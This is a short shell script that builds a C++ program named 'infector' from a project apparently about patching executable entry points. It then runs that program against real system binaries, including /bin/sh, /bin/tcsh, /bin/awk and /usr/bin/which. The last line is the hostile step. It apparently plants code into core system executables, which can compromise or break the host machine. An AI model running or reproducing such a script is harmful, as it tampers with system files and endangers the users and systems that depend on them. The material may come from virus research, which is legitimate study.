#!/bin/sh
project=${1:-one_step_closer}
entry_addr=${2:-one}
out=${project}/${entry_addr}
g++ -Wall \
	-D PATCH_ENTRY_ADDR=\"patch_entry_addr/${entry_addr}.inc\" \
	-I out/one_step_closer \
	-o tmp/${out}/infector \
	src/${project}/*.cxx \
&& cd tmp/${out} \
&& ./infector /bin/awk /bin/tcsh /usr/bin/which /bin/sh
